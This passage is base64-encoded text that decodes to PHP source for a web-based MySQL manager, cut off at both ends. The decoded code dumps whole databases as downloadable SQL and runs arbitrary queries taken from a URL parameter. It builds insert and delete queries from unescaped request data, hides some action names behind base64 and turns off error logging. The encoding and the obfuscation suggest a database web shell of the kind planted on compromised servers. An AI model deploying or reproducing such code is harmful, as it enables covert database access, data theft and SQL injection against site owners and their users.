WlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQ